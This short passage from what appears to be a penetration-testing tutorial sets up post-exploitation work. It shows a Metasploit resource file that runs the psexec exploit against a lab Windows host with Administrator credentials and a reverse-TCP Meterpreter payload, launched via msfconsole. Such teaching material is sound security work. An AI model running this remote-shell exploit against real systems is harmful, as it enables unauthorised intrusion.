Because we will be focusing on post-exploitation, every recipe in this chapter will start within a remote Meterperter session.
Take, for example, the following resource file:
root@kali:~# cat psexec.rc use exploit/windows/smb/psexecset RHOST 192.168.216.10set SMBUSER Administratorset SMBPASS vagrantset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.216.5exploit
By starting the msfconsole with the -r option followed by the path of the resource file, we can get a remote session without any effort:
root@kali:~# msfconsole -qr psexec.rc ...